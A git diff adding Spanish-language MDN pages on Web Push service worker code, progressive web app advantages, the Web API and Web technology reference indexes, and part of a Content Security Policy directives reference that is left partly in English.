+<p>A continuación, un módulo define y exporta todas las rutas que una aplicación necesita manejar: obtener la clave pública <em>IDVAP</em>, registrarse y luego enviar notificaciones. Puedes ver las variables del archivo <code>index.js</code> que se está utilizando: <code>payload</code>, <code>delay</code> y <code>ttl</code>.</p>
+
+<pre class="brush: js notranslate">module.exports = function(app, route) {
+  app.get(route + 'vapidPublicKey', function(req, res) {
+    res.send(process.env.VAPID_PUBLIC_KEY);
+  });
+
+  app.post(route + 'register', function(req, res) {
+
+    res.sendStatus(201);
+  });
+
+  app.post(route + 'sendNotification', function(req, res) {
+    const subscription = req.body.subscription;
+    const payload = req.body.payload;
+    const options = {
+      TTL: req.body.ttl
+    };
+
+    setTimeout(function() {
+      webPush.sendNotification(subscription, payload, options)
+      .then(function() {
+        res.sendStatus(201);
+      })
+      .catch(function(error) {
+        console.log(error);
+        res.sendStatus(500);
+      });
+    }, req.body.delay * 1000);
+  });
+};</pre>
+
+<h4 id="service-worker.js"><code>service-worker.js</code></h4>
+
+<p>El último archivo que veremos es el del servicio <em>worker</em>:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('push', function(event) {
+    const payload = event.data ? event.data.text() : 'no payload';
+    event.waitUntil(
+        self.registration.showNotification('ServiceWorker Cookbook', {
+            body: payload,
+        })
+    );
+});</pre>
+
+<p>Todo lo que hace es agregar un escucha para el evento {{Event("push")}}, crear la variable de carga útil que consiste en el texto tomado de los datos (o crear una cadena para usar si los datos están vacíos), y luego esperar hasta la notificación se muestra al usuario.</p>
+
+<p>No dudes en explorar el resto de los ejemplos en el <a href="https://serviceworke.rs/">Libro de recetas para el servicio <em>workers</em></a> si deseas saber cómo se manejan: el <a href="https://github.com/mozilla/serviceworker-cookbook/">código fuente completo está disponible en GitHub</a>. Hay una gran colección de ejemplos de uso que muestran el uso general, pero también la inserción web, las estrategias de almacenamiento en caché, el rendimiento, el trabajo sin conexión y más.</p>
+
+<p>{{PreviousMenuNext("Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive/Loading", "Web/Apps/Progressive")}}</p>
+
+<div>{{QuickLinksWithSubpages("/es/docs/Web/Progressive_web_apps/")}}</div>
diff --git a/files/es/web/progressive_web_apps/ventajas/index.html b/files/es/web/progressive_web_apps/ventajas/index.html
new file mode 100644
index 0000000000..2268f23321
--- /dev/null
+++ b/files/es/web/progressive_web_apps/ventajas/index.html
@@ -0,0 +1,62 @@
+---
+title: Ventajas de una aplicación web progresiva (AWP)
+slug: Web/Progressive_web_apps/Ventajas
+tags:
+  - AWP
+  - aplicaciones web progresivas
+  - conceptos
+  - ventajas
+translation_of: Web/Progressive_web_apps/Introduction#Advantages_of_web_applications
+---
+<p class="summary">Las Aplicaciones Web Progresivas deben tener todas las ventajas enumeradas en las siguientes secciones a continuación.</p>
+
+
+
+<h2 id="Reconocible">Reconocible<img alt="" src="https://mdn.mozillademos.org/files/12654/discoverable.svg" style="float: right; height: 40px; width: 38px;"></h2>
+
+<p>El objetivo final es que las aplicaciones web deben tener una mejor representación en los motores de búsqueda, ser más fáciles de exponer, catalogar y clasificar, y tener metadatos que los navegadores puedan utilizar para darles capacidades especiales.</p>
+
+<p>Algunas de las capacidades ya se han habilitado en ciertas plataformas basadas en la web mediante tecnologías patentadas como <a href="http://ogp.me/">Open Graph</a>, que proporciona un formato para especificar metadatos similares en el <code>&lt;head&gt;</code> de HTML usando metaetiquetas.</p>
+
+<p>El estándar web relevante aquí es el <a href="/en-US/docs/Web/Manifest">Manifiesto de aplicación web</a>, que define las características de una aplicación, como el nombre, el icono, la pantalla de presentación y los colores del tema en un archivo de manifiesto con formato JSON. Esto es para usar en contextos como listados de aplicaciones y pantallas de inicio de dispositivos.</p>
+
+<ul>
+</ul>
+
+<h2 id="Instalable">Instalable<img alt="" src="https://mdn.mozillademos.org/files/12656/installable.svg" style="float: right; height: 40px; width: 38px;"></h2>
+
+<p>Una parte central de la experiencia de aplicaciones es que los usuarios tengan iconos de aplicaciones en su pantalla de inicio, y ser capaz de pulsar para abrir aplicaciones en su propio contenedor nativo que se siente bien integrado con la plataforma subyacente.</p>
+
+<p>Las aplicaciones web modernas pueden tener esta sensación de aplicación nativa a través de las propiedades establecidas dentro del manifiesto de la aplicación web, y a través de una función disponible en los navegadores de teléfonos inteligentes modernos llamada <a href="/en-US/docs/Web/Apps/Progressive/Add_to_home_screen">Añadir a la página de inicio</a>.</p>
+
+<h2 id="Enlazable">Enlazable<img alt="" src="https://mdn.mozillademos.org/files/12658/linkable.svg" style="float: right; height: 40px; width: 38px;"></h2>
+
+<p>Una de las características más potentes de la Web es ser capaz de enlazar a una aplicación en una URL específica. No necesita tienda de aplicaciones, ningún proceso de instalación complejo. Así es como siempre ha sido.</p>
+
+<h2 id="Independencia_de_la_red">Independencia de la red<img alt="" src="https://mdn.mozillademos.org/files/12660/network-independent.svg" style="float: right; height: 40px; width: 38px;"></h2>
+
+<p>Las aplicaciones web modernas pueden funcionar cuando la red no es confiable, o incluso inexistente. Las ideas básicas detrás de la independencia de la red son:</p>
+
+<ul>
+ <li>Volver a visitar un sitio y obtener sus contenidos, incluso si no hay una conexión red disponible.</li>
+ <li>Explore cualquier tipo de contenido que el usuario haya visitado anteriormente al menos una vez, incluso en situaciones de poca conectividad.</li>
+ <li>Controlar lo que se muestra al usuario en situaciones en las que no hay conectividad.</li>
+</ul>
+
+<p>Esto se logra mediante una combinación de tecnologías: <a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a> para controlar las solicitudes de página (por ejemplo, almacenarlas sin conexión), la <a href="/en-US/docs/Web/API/Cache">Cache API</a> para almacenar respuestas a solicitudes de red fuera de línea (muy útil para almacenar recursos del sitio) y tecnologías de almacenamiento de datos del lado del cliente como <a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage</a> y <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> para almacenar datos de la aplicación sin conexión.</p>
+
+<h2 id="Progresiva">Progresiva<img alt="" src="https://mdn.mozillademos.org/files/12662/progressive.svg" style="float: right; height: 40px; width: 38px;"></h2>
+
+<p>Las aplicaciones web modernas se pueden desarrollar para proporcionar una experiencia súper genial a los navegadores totalmente capaces, y una experiencia aceptable (aunque no tan brillante) para los navegadores menos capaces. Hemos estado haciendo esto durante años con las mejores prácticas como <a href="/en-US/docs/Glossary/Progressive_Enhancement">mejora progresiva</a>.</p>
+
+<h2 id="Reconectable">Reconectable<img alt="" src="https://mdn.mozillademos.org/files/12666/re-engageable.svg" style="float: right; height: 40px; width: 38px;"></h2>
+
+<p>Una de las principales ventajas de las plataformas nativas es la facilidad con la que los usuarios pueden volver a participar mediante actualizaciones y contenido nuevo, incluso cuando no están mirando la aplicación o utilizando sus dispositivos. Las aplicaciones web modernas ahora también pueden hacer esto, utilizando nuevas tecnologías como <a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service Workers</a> para controlar páginas, el <a href="/en-US/docs/Web/API/Push_API">Web Push API</a> para enviar actualizaciones directamente del servidor a la aplicación a través de un service worker, y la <a href="/en-US/docs/Web/API/Notifications_API">API de notificaciones</a> para generar notificaciones del sistema para ayudar a atraer a los usuarios cuando no están en el navegador.</p>
+
+<h2 id="Adaptable">Adaptable<img alt="" src="https://mdn.mozillademos.org/files/12650/responsive.svg" style="float: right; height: 40px; width: 38px;"></h2>
+
+<p>Las aplicaciones web adaptables usan tecnologías como consultas de media y viewport para asegurarse de que sus interfaces se ajusten a cualquier factor de forma: escritorio, móvil, tableta o lo que sea que venga después.</p>
+
+<h2 id="Seguro">Seguro<img alt="" src="https://mdn.mozillademos.org/files/12664/safe.svg" style="float: right; height: 47px; width: 38px;"></h2>
+
+<p>La plataforma web proporciona un mecanismo de entrega seguro que evita la intromisión y garantiza que el contenido no haya sido alterado, siempre que aproveche de HTTPS y desarrolle sus aplicaciones teniendo en cuenta la seguridad. Además, puede verificar la verdadera naturaleza de una AWP confirmando que está en la URL correcta, mientras que las aplicaciones en las tiendas de aplicaciones a menudo pueden parecer una cosa, pero ser otra (<a href="https://twitter.com/andreasbovens/status/926965095296651264">ejemplo</a>).</p>
diff --git a/files/es/web/reference/api/index.html b/files/es/web/reference/api/index.html
new file mode 100644
index 0000000000..c86567d336
--- /dev/null
+++ b/files/es/web/reference/api/index.html
@@ -0,0 +1,64 @@
+---
+title: Referencias para API Web
+slug: Web/Reference/API
+tags:
+  - API
+  - Diseño Web
+  - Referencia
+  - Web
+translation_of: Web/Reference/API
+---
+<p><span class="seoSummary">La Web ofrece una amplia variedad de APIs para ejecutar toda una variedad de tareas útiles. Éstas pueden ser accesadas mediante código JavaScript, y te permiten hacer cualquier cosa, desde realizar ajustes menores a cualquier  {{domxref("window")}} ó {{domxref("element")}}, hasta generar efectos gráficos y de aúdio complejos usando APIs tales como <a href="/en-US/docs/Web/WebGL">WebGL</a> y <a href="/en-US/docs/Web_Audio_API">Web Audio</a>.</span></p>
+
+<p>Cada interfaz individual a lo largo de todas las APIs se encuentra listada en el <a href="/en-US/docs/Web/API">índice.</a></p>
+
+<p>También hay un <a href="/en-US/docs/Web/Reference/Events">listado de todos los eventos disponibles</a> en la referencia de eventos.</p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/DOM">Modelo de Objetos del Documento (DOM)</a></dt>
+ <dd>El DOM es una API que permite acceder y modificar el documento actual. La misma permite manipular el {{domxref("Node")}} y {{domxref("Element")}} del documento. Tanto HTML como SVG la han extendido para manipular sus elementos específicos.</dd>
+ <dt>API de Dispositivos</dt>
+ <dd>Este conjunto de APIs permiten acceder a varias funciones de hardware disponibles para páginas Web y aplicaciones. Por ejemplo, <a href="/en-US/docs/WebAPI/Using_Light_Events">API de Sensor Luz Ambiental</a>, <a href="/en-US/docs/WebAPI/Battery_Status" title="WebAPI/Battery_Status">API de Estado de Batería</a>, <a href="/en-US/docs/Using_geolocation" title="Using_geolocation">API de Geolocalización</a>, <a href="/en-US/docs/WebAPI/Pointer_Lock" title="API/Pointer_Lock_API">API de Bloqueo de Puntero</a>, <a href="/en-US/docs/WebAPI/Proximity" title="WebAPI/Proximity">API de Proximidad</a>, <a href="/en-US/docs/WebAPI/Detecting_device_orientation" title="WebAPI/Detecting_device_orientation">API de Orientación de Dispositivo</a>, <a href="/en-US/docs/WebAPI/Managing_screen_orientation" title="WebAPI/Detecting_device_orientation">API de Orientación de Pantalla</a>, <a href="/en-US/docs/WebAPI/Vibration" title="WebAPI/WebBluetooth">API de Vibración</a>.</dd>
+ <dt>API de Comunicación</dt>
+ <dd>Estas APIs le permiten a páginas Web y aplicaciones comunicarse con otras páginas o dispositivos. Por ejemplo, <a href="/en-US/docs/WebAPI/Network_Information" title="WebAPI/Network_Information">API de Información de Red</a>, <a href="/en-US/docs/WebAPI/Using_Web_Notifications" title="/en-US/docs/WebAPI/Using_Web_Notifications">Notificaciones Web</a>, <a href="/en-US/docs/WebAPI/Simple_Push" title="WebAPI/Push_Notifications">API de Push Simple</a>.</dd>
+ <dt id="Data_management_APIs">API de gestión de datos</dt>
+ <dd>Los datos de los usuarios pueden ser almacenados y gestionados usando este conjunto de APIs. Por ejemplo, <a href="/en-US/docs/WebAPI/FileHandle_API" title="WebAPI/FileHandle_API">FileHandle API</a>, <a href="/en-US/docs/IndexedDB" title="IndexedDB">IndexedDB</a>.</dd>
+</dl>
+
+<p>Además de estas APIs, que están disponibles para cualquier sitio Web o aplicación, existen otras APIs de Mozilla más poderosas que están disponibles para aplicaciones privilegiadas y certificadas.</p>
+
+<dl>
+ <dt>API Privilegiadas</dt>
+ <dd>Una aplicación privilegiada es una aplicación instalada que ha recibido derechos específicos por parte del usuario. Entre las APIs privilegiadas se encuentran: <a href="/en-US/docs/WebAPI/TCP_Socket" title="WebAPI/TCP_Socket">TCP Socket API</a>, <a href="/en-US/docs/WebAPI/Contacts" title="WebAPI/Contacts">API de Contactos</a>, <a href="/en-US/docs/WebAPI/Device_Storage_API" title="WebAPI/Device_Storage_API">API de Almacenamiento de Dispositivos</a>, <a href="/en-US/docs/DOM/Using_the_Browser_API" title="DOM/Using_the_Browser_API">API de Navegador</a>,</dd>
+ <dt>API Certificadas</dt>
+ <dd>Una aplicación certificada es una aplicación de bajo nivel que ejecuta operaciones críticas sobre un sistema operativo como Firefox OS. Las aplicaciones menos privilegiadas interactúan con estas aplicaciones certificadas mediante <a href="/en-US/docs/WebAPI/Web_Activities" title="WebAPI/Web_Activities">Actividades Web</a>.  Entre las APIs Certificadas se incluyen:<a href="/en-US/docs/WebAPI/WebBluetooth" title="WebAPI/WebBluetooth"> API Bluetooth</a>, <a href="/en-US/docs/WebAPI/Mobile_Connection" title="WebAPI/Mobile_Connection">API de Conexión Móvil</a>, <a href="/en-US/docs/WebAPI/Network_Stats" title="WebAPI/Network_Stats">API de Estadísticas de Red</a>, <a href="/en-US/docs/WebAPI/WebTelephony" title="WebAPI/WebTelephony">Telefonía</a>, <a href="/en-US/docs/WebAPI/WebSMS" title="WebAPI/WebSMS">WebSMS</a>, <a href="/en-US/docs/WebAPI/WiFi_Information" title="WebAPI/WiFi_Information">API de Información WíFi</a>, <a href="/en-US/docs/WebAPI/Camera" title="WebAPI/Camera">API de Cámara</a>, <a href="/en-US/docs/WebAPI/Power_Management" title="WebAPI/Power_Management">API de Administración de Energía</a>, <a href="/en-US/docs/WebAPI/Settings" title="WebAPI/Settings">API de Ajustes</a>, <a href="/en-US/docs/WebAPI/Idle" title="WebAPI/Device_Storage_API">API de Inactividad</a>, <a href="/en-US/docs/WebAPI/Permissions" title="WebAPI/Permissions">API de Permisos</a>, <a href="/en-US/docs/WebAPI/Time_and_Clock" title="WebAPI/Time_and_Clock">API de Hora/Reloj</a>.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Comunidad" id="Comunidad">Comunidad</h2>
+
+<p>Únete a la comunidad de API Web en nuestra lista de correos o grupo de noticias:</p>
+
+<ul>
+ <li><a class="external" href="https://lists.mozilla.org/listinfo/dev-webapi">Como Lista de Correo</a></li>
+ <li><a href="news://news.mozilla.org/mozilla.dev.webapi">Como Grupo de Noticias</a></li>
+ <li><a class="external" href="http://groups.google.com/group/mozilla.dev.webapi">Como Grupo Google</a></li>
+ <li><a class="external" href="http://groups.google.com/group/mozilla.dev.webapi/feeds">Como Feed de Noticias en la Wéb</a></li>
+</ul>
+
+<p>También, asegúrate de unirte a la discusión en vivo en el canal <a href="irc://irc.mozilla.org/webapi">#webapi</a> de <a class="external" href="https://wiki.mozilla.org/IRC">IRC</a>.</p>
+
+<h2 class="Related_Topics" id="Temas_Relacionados">Temas Relacionados</h2>
+
+<p>Los siguientes temas podrían ser de interés:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API">Índice de todas las interfaces API Web</a></li>
+</ul>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/es/web/reference/index.html b/files/es/web/reference/index.html
new file mode 100644
index 0000000000..65c9e01975
--- /dev/null
+++ b/files/es/web/reference/index.html
@@ -0,0 +1,56 @@
+---
+title: Referencia de Tecnologías Web
+slug: Web/Reference
+tags:
+  - Landing
+  - Reference
+  - Referencia
+  - Web
+translation_of: Web/Reference
+---
+<p>La Web abierta (<em>open Web)</em> se construye usando diversas tecnologías. A continuación encontrará enlaces a nuestro material de referencia para cada una de ellas.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Tecnologias_Web_Fundamentales">Tecnologias Web Fundamentales</h2>
+
+<h3 id="Basicas">Basicas</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/es/docs/Web/HTML">HTML</a></dt>
+ <dd>El Lenguaje de Marcado para Hipertextos (<em>HyperText Markup Language</em>) es usado para describir y definir el contenido de una página Web en un formato bien estructurado.</dd>
+ <dt><a href="https://developer.mozilla.org/es/docs/Web/CSS">CSS</a></dt>
+ <dd>Las Hojas de Estilo en Cascada (<em>Cascading Style Sheets</em>) se usan para describir la apariencia del contenido Web.</dd>
+</dl>
+
+<h3 id="Código">Código</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/es/docs/Web/JavaScript">JavaScript</a></dt>
+ <dd>JavaScript es el lenguaje de programación que se ejecuta en los navegadores, se usa para para construir avanzados sitios Web interactivos y aplicaciones para ejecución segura en el navegador.</dd>
+ <dt><a href="https://developer.mozilla.org/es/docs/Web/Reference/API">Web APIs</a></dt>
+ <dd>Material de referencia para cada una de las APIs que constituyen las poderosas posiblidades de programación del Web, incluyendo el <a href="https://developer.mozilla.org/es/docs/DOM">DOM</a> y todas las APIs e interfaces que puedes usar para desarrollar contenidos Web y aplicaciones.
+ <ul>
+  <li><a href="https://developer.mozilla.org/es/docs/Web/API" title="/en-US/docs/Web/API">Referencia a la interfaz API del WEB</a> - todas las interfaces, ordenandas alfabetícamente.</li>
+  <li>La página <a href="https://developer.mozilla.org/es/docs/WebAPI">WebAPI</a> lista APIs para acceso a dispositivos y otras APIs utiles para aplicaciones.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Gráficos">Gráficos</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/es/docs/SVG">SVG</a></dt>
+ <dd>Los Gráficos Vectoriales Escalables (Scalable Vector Graphics) le permiten describir imágenes como conjuntos de vectores (líneas) y formas para permitir su escalamiento continúo independientemente del tamaño con el que hayan sido dibujados.</dd>
+ <dt><a href="https://developer.mozilla.org/es/docs/Web/WebGL" title="/en-US/docs/Web/WebGL">WebGL</a></dt>
+ <dd>WebGL trae gráficos 3D al Web al introducir una API que cumple de cerca al estándar OpenGL ES 2.0, y que puede usarse en los elemntos <a href="https://developer.mozilla.org/es/docs/Web/HTML/Elemento/canvas" title="Editorial review completed."><code>&lt;canvas&gt;</code></a> de HTML.</dd>
+</dl>
+
+<h3 id="Otras">Otras</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/es/docs/Web/MathML">MathML</a></dt>
+ <dd>El Lenguaje de Marcado Matemático (<em>Mathematical Markup Language</em>) hace posible presentar ecuaciones complejas.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/es/web/security/csp/csp_policy_directives/index.html b/files/es/web/security/csp/csp_policy_directives/index.html
new file mode 100644
index 0000000000..8a58e1d6a2
--- /dev/null
+++ b/files/es/web/security/csp/csp_policy_directives/index.html
@@ -0,0 +1,708 @@
+---
+title: Políticas Directivas CSP
+slug: Web/Security/CSP/CSP_policy_directives
+translation_of: Web/HTTP/Headers/Content-Security-Policy
+---
+<p> </p>
+
+<p>Hay varios ámbitos de las políticas que pueden ser definidas por los administradores de las páginas web usando las Normas de Seguridad de Contenido o CSP por sus siglas en ingles. Cualquier combinación de estas políticas puede ser utilizada para satisfacer las necesidades de su sitio web, no es necesario especificar todas ellas..</p>
+
+<h2 id="Fuentes_de_contenido">Fuentes de contenido</h2>
+
+<p>La mayoría de las políticas directivas necesitan de una o más fuentes de contenido. Una fuente de contenido es una cadena que indica una posible fuente de donde el contenido puede ser descargado.</p>
+
+<h3 id="Listas_de_fuentes">Listas de fuentes</h3>
+
+<p>Una lista de fuentes es un cadena que especifica uno o más hosts de internet o direcciones IP, así como un <a href="/en-US/docs/URIs_and_URLs" title="en/URIs and URLs">esquema de URL</a> opcional y/o número de puerto. La dirección del sitio puede incluir un comodín líder (el carácter asterisco, <code>'*'</code>), y puedes usar un comodín (de nuevo, <code>'*'</code>) como el número de puerto, indicando que todos los puertos legales son válidos para la fuente. Los hosts son delimitados por espacio.</p>
+
+<p>Las expresiones validas del host son:</p>
+
+<dl>
+ <dt><span class="nowiki">http://*.foo.com</span></dt>
+ <dd>Junta todos los intentos de carga desde cualquier subdominio de foo.com usando el sistema URL http:.</dd>
+ <dt><span class="nowiki">mail.foo.com:443</span></dt>
+ <dd>Junta todos los intentos de acceso al puerto 443 en mail.foo.com.</dd>
+ <dt><span class="nowiki">https://store.foo.com</span></dt>
+ <dd>Junta todos los intentos para acceder store.foo.com usando https:.</dd>
+</dl>
+
+<p>Si un número de puerto no está especificado, el navegador usara el número de puerto predeterminado para el sistema especificado. Si no hay sistema especificado, el mismo sistema que ha sido usado para acceder al documento protegido será usado.</p>
+
+<dl>
+</dl>
+
+<h3 id="Palabras_claves">Palabras claves</h3>
+
+<p>También existen algunas palabras claves disponibles para describir clases especiales de fuentes de contenido. Estas palabras son las siguientes:</p>
+
+<dl>
+ <dt><code>'none'</code></dt>
+ <dd>Se refiere al conjunto vacío, es decir, no hay URLs que coincidan. Las comillas simples son necesarias.</dd>
+ <dt><code>'self'</code></dt>
+ <dd>Se refiere al origen del cual los documentos protegidos están siendo enviados, incluyendo el mismo sistema de URL y numero de puerto. Las comillas simples deben ser incluidas. Algunos navegadores excluyen específicamente <code>blob</code> y <code>filesystem</code> de las políticas directivas. Sitios que necesitan permitir  este tipo de contenido puede especificarlos usando el Data attribute.</dd>
+ <dt><code>'unsafe-inline'</code></dt>
+ <dd>Permite el uso de recursos alineados como elementos alineados {{ HTMLElement("script") }} , <code>javascript:</code> URLs, controladores de eventos alineados e elementos alineados {{ HTMLElement("style") }} . Las comillas simples deben ser incluidas.</dd>
+ <dt><code>'unsafe-eval'</code></dt>
+ <dd>Permite el uso de <code>eval()</code>y métodos similares para la creación de códigos desde las cadenas de caracteres. Las comillas simples deben ser incluidas.</dd>
+</dl>
+
+<div class="note"><strong>Nota:</strong> 'unsafe-inline' y 'unsafe-eval' son inseguros y pueden hacer de tu página web vulnerable contra cross-site scripting.</div>
+
+<p>Ejemplo, puedes especificar que el contenido sea cargado desde el origen del documento, así como desde trustedscripts.foo.com de la siguiente manera:</p>
+
+<pre>Content-Security-Policy: default-src 'self' trustedscripts.foo.com
+</pre>
+
+<dl>
+</dl>
+
+<h3 id="Data">Data</h3>
+
+<div class="note"><strong>Nota:</strong> data: URIs son inseguras y pueden hacer de tu página web vulnerable contra cross-site scripting si es permitido por las fuentes del script.</div>
+
+<dl>
+ <dt>data:</dt>
+ <dd>Permite que <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/data_URIs" title="en/data URIs"><code>data:</code> URIs</a> sea usada como fuente de contenido. Esto es inseguro y un atacante puede insertar data: URIs arbitrarias. Utilízala con moderación y definitivamente no para los scripts.</dd>
+ <dt>mediastream:</dt>
+ <dd>Permite que <a href="/en-US/docs/Web/API/MediaStream_API" title="/en/WebRTC/MediaStream_API"><code>mediastream:</code> URIs</a> sea usada como fuente de contenido.</dd>
+ <dt>blob:</dt>
+ <dd>Permite que <a href="/en-US/docs/Web/API/Blob" title="/en/WebRTC/MediaStream_API"><code>blob:</code> URIs</a> sea usada como fuente de contenido.</dd>
+ <dt>filesystem:</dt>
+ <dd>Permite que <a href="/en-US/docs/Web/API/FileSystem" title="/en/WebRTC/MediaStream_API"><code>filesystem:</code> URIs</a> sea usada como fuente de contenido.</dd>
+</dl>
+
+<pre>Content-Security-Policy: default-src 'self'; img-src 'self' data: blob: filesystem:; media-src mediastream:
+</pre>
+
+<h2 id="Políticas_directivas_soportadas">Políticas directivas soportadas</h2>
+
+<p>Las siguientes políticas directivas están disponibles para controlar la política de seguridad para varias ares de las políticas.</p>
+
+<h3 id="base-uri"><code>base-uri</code></h3>
+
+<p>La directiva &gt;<code>base-uri</code> define las URLs que un agente usuario puede usar como el documento URL base. Si este valor no está presente, cualquier URL está permitido. Si esta directiva no está presente, el agente usuario usara el valor en el elemento <code><a href="/en-US/docs/Web/HTML/Element/base">base</a>.</code></p>
+
+<pre>base-uri <em>source-list</em></pre>
+
+<h3 id="child-src"><code>child-src</code></h3>
+
+<p>La directiva <code>child-src</code> define las fuentes válidas para los trabajadores de la web y contextos de navegación anidados cargados utilizando elementos tales como {{ HTMLElement("frame") }} y {{ HTMLElement("iframe") }}. Esta opción es preferida sobre la directiva <code>frame-src</code><code>, </code><code>la cual es obsoleta. Para los trabajadores, las </code>solicitudes no conformes son tratadas como errores de red fatales por el agente usuario.</p>
+
+<div class="note"><strong>Nota: </strong>Si esta directiva no está presente, el agente usuario buscara la directiva por defecto <code>default-src.</code></div>
+
+<pre><span>​child-src <em>source-list</em></span></pre>
+
+<h3 id="connect-src"><code>connect-src</code></h3>
+
+<p>La directiva <code>connect-src</code> define fuentes válidas para fetch, <a href="/en/nsIXMLHttpRequest" title="en/XMLHttpRequest">XMLHttpRequest</a>, WebSocket y conecciones EventSource.</p>
+
+<div class="note"><strong>Nota: </strong>Si esta directiva no está presente, el agente usuario buscara la directiva por defecto <code>default-src.</code></div>
+
+<div class="note"><strong>Nota: </strong>Antes de la versión Firefox 23, xhr-src  era utilizado en lugar de la directiva connect-src y solo restringía el uso de <a href="/en/nsIXMLHttpRequest" title="en/XMLHttpRequest">XMLHttpRequest</a>.</div>
+
+<pre><code>connect-src</code> <em><code>source-list</code></em></pre>
+
+<h3 id="default-src"><code>default-src</code></h3>
+
+<p>La directiva por defecto <code>default-src </code><code>define la política de seguridad para los tipos de contenidos que no están expresamente señalados por otras directivas. Esta directiva abarca las siguientes directivas:</code></p>
+
+<ul>
+ <li><code>child-src</code></li>
+ <li><code>connect-src</code></li>
+ <li><code>font-src</code></li>
+ <li><code>img-src</code></li>
+ <li><code>media-src</code></li>
+ <li><code>object-src</code></li>
+ <li><code>script-src</code></li>
+ <li><code>style-src</code></li>
+</ul>
+
+<pre><code>default-src</code> <em><code>source-list</code></em></pre>
+
+<h3 id="font-src"><code>font-src</code></h3>
+
+<p>La directivas <code>font-src</code> especifica las fuentes válidas para los tipos de letras cargadas usando {{ cssxref("@font-face") }}.</p>
+
+<div class="note"><strong>Nota: </strong>Si esta directiva no está presente, el agente usuario buscara la directiva por defecto <code>default-src.</code></div>
+
+<pre><code>font-src</code> <em><code>source-list</code></em></pre>
+
+<h3 id="form-action"><code>form-action</code></h3>
+
+<p>La directiva <code>form-action</code>{{experimental_inline}} especifica criterios de valoración válidos para las sumisiones {{ HTMLElement("form") }}.</p>
+
+<pre id="script-src"><code><code>form-action</code> &gt;<em><code>source-list</code></em></code></pre>
+
+<h3 id="frame-ancestors"><code>frame-ancestors</code></h3>
+
+<p>La directiva <code>frame-ancestors</code>{{experimental_inline}} especifica padres validos que pueden incustrar una pagina usando elementos  {{ HTMLElement("frame") }} y {{ HTMLElement("frame") }}. Esta directiva no esta soportada en el elemento <code>&lt;meta&gt; </code>o por la cabecera <code>Content-Security-Policy-Report-Only.</code></p>
+
+<pre><code>frame-ancestors</code> <em><code>source-list</code></em></pre>
+
+<h3 id="frame-src_obsolete_inline"><code>frame-src</code> {{obsolete_inline}}</h3>
+
+<p>The <code>frame-src</code> directive specifies valid sources for web workers and nested browsing contexts loading using elements such as &gt;{{ HTMLElement("frame") }} and {{ HTMLElement("iframe") }}.&gt;</p>
+
+<div class="note">
+<div><strong>Note: </strong>This directive is deprecated. Use <code>child-src</code> instead.</div>
+</div>
+
+<pre>frame-src <em>source-list</em></pre>
+
+<h3 id="img-src"><code>img-src</code></h3>
+
+<p>The <code>img-src</code> directive specifies valid sources of images and favicons. </p>
+
+<div class="note"><strong>Note: </strong>If this directive is absent, the user agent will look for the <code>default-src</code> directive.</div>
+
+<pre><code>img-src</code> <em><code>source-list</code></em></pre>
+
+<h3 id="manifest-src"><code>manifest-src</code></h3>
+
+<p>The <code><strong>manifest-src</strong></code> directive specifies which manifest can be applied to the resource.</p>
+
+<div class="note"><strong>Note: </strong>If this directive is absent, the user agent will look for the <code>default-src</code> directive.</div>
+
+<pre><code>manifest-src</code> <em><code>source-list</code></em></pre>
+
+<h3 id="media-src"><code>media-src</code></h3>
+
+<p>The <code>media-src</code> directive specifies valid sources for loading media using the {{ HTMLElement("audio") }} and {{ HTMLElement("video") }} elements.</p>
+
+<div class="note"><strong>Note: </strong>If this directive is absent, the user agent will look for the <code>default-src</code> directive.</div>
+
+<pre><code>media-src</code> <em><code>source-list</code></em></pre>
+
+<h3 id="object-src"><code>object-src</code></h3>
+
+<p>The <code>object-src</code> directive specifies valid sources for the {{ HTMLElement("object") }}, {{ HTMLElement("embed") }}, and {{ HTMLElement("applet") }} elements. </p>
+
+<div class="note"><strong>Note: </strong>If this directive is absent, the user agent will look for the <code>default-src</code> directive.</div>
+
+<pre><code>object-src</code> <em><code>source-list</code></em></pre>
+
+<h3 id="plugin-types"><code>plugin-types</code></h3>
+
+<p>The <code>plugin-types</code> directive specifies the valid plugins that the user agent may invoke.</p>
+
+<pre>plugin-types <em>type-list</em></pre>
+
+<h3 id="referrer"><code>referrer</code></h3>
+
+<p>The <code>referrer</code> directive specifies information in the referrer header for links away from a page.</p>
+
+<pre>​referrer <em>value</em></pre>
+
+<h3 id="reflected-xss"><code>reflected-xss</code></h3>
+
+<p>The <code>reflected-xss</code> directive instructs a user agent to activate or deactivate any heuristics used to filter or block reflected cross-site scripting attacks. Valid values are <code>allow</code>, <code>block</code>, and <code>filter</code>. This directive is not supported in the <code>&lt;meta&gt;</code> element.</p>
+
+<div class="note"><strong>Note: </strong>This directive is ignored if it is contained in a <code>meta</code> element.</div>
+
+<pre>reflected-xss <em>value</em></pre>
+
+<h3 id="report-uri"><code>report-uri</code></h3>
+
+<p>The <code>report-uri</code> directive instructs the user agent to report attempts to violate the Content Security Policy. These violation reports consist of <a href="/en/JSON" title="en/JSON">JSON</a> documents sent via an HTTP <code>POST</code> request to the specified URI. See <a href="/en/Security/CSP/Using_CSP_violation_reports" title="en/Security/CSP/Using CSP violation reports">Using CSP violation reports</a> for details. This directive is not supported in the <code>&lt;meta&gt;</code> element.</p>
+
+<pre><code>report-uri</code> <em><code><a class="external" href="http://tools.ietf.org/html/rfc2396" title="http://tools.ietf.org/html/rfc2396">uri</a></code></em></pre>
+
+<h3 id="sandbox"><code>sandbox</code></h3>
+
